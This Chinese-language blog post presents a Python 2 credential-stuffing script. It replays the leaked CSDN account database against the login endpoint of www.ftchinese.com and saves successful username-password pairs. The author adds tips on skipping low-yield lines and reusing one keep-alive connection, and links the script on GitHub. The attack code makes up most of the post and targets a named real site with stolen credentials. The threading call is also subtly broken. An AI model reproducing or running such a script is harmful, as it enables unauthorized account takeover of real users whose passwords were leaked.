一个简单的HTTP暴力破解python脚本

在以往的渗透测试过程中,我常使用暴力破解来作为突破口。

破解过包括ADSL、客户端软件账号、web后台、NT Server、SSH、FTP、MySQL、Email等,

主要通过两种方式:

1. 基于协议暴力破解

2. 模拟点击、模拟按键等进行客户端暴力破解

当然,其中还涉及到ADSL重新拨号换IP、验证码识别的细节。

前述到此。

下面是我写的一个非常简短的Python脚本,用于http暴力破解。

它使用CSDN流出的800万账号,尝试登陆www.ftchinese.com。

# -*- coding: utf-8 -*-

'''
from https://www.lijiejie.com
my[at]lijiejie.com
'''

import urllib2
import urllib
import httplib
import threading


headers = {"Content-Type":"application/x-www-form-urlencoded",     
           "Connection":"Keep-Alive",
           "Referer":"http://www.ftchinese.com/"};
lock = threading.Lock()
def tryUser():
    global headers
    global outFile 
    conn = httplib.HTTPConnection("www.ftchinese.com")
    while True:
        lock.acquire()
        line = inFile.readline()
        userData = line.strip().split(' # ')
        lock.release()
        if len(userData) != 3: continue
        if len(line) == 0:
            conn.close()
            break
        user = userData[2]
        passwd = userData[1]
        params = urllib.urlencode({'username': user, 'password': passwd})
        conn.request(method="POST", url="/users/login", body=params, headers=headers)
        responseText = conn.getresponse().read().decode('utf8')
        if not responseText.find(u'用户名或者密码不正确,请重新输入!') > 0 :
            print '*** find user:', user, 'with password:', passwd, '***'
            outFile.write(user + '    ' +  passwd + '\n')


outFile = open('accounts-cracked.txt', 'w')
with open(r'E:\works-hz\csdn.sql', 'r') as inFile:
    for i in range(5000):    #skip 5000
        inFile.readline()
    for i in range(10):
        threading.Thread(target = tryUser())


outFile.close()

登录时POST  http://www.ftchinese.com/users/login, 附加username和password

值得注意的是:

1. 程序首先跳过了前5000行,考虑到前5000个账号破解成功率比较低

2. headers中”Connection”:”Keep-Alive”,让我们可以在一个http连接中,尝试无数个密码,直到破解结束,才关闭当前的TCP连接

脚本也上传到了github上:  https://github.com/lijiejie/http-brute-force-attack

因为学python时间不长,代码不堪,请见谅。

《一个简单的HTTP暴力破解python脚本》上有13条评论

  1. 楼主你好,为什么我用你写的python脚本破解basic认证登录界面不成功,提示“No one was cracked”

回复 Forever 取消回复

您的电子邮箱地址不会被公开。 必填项已用*标注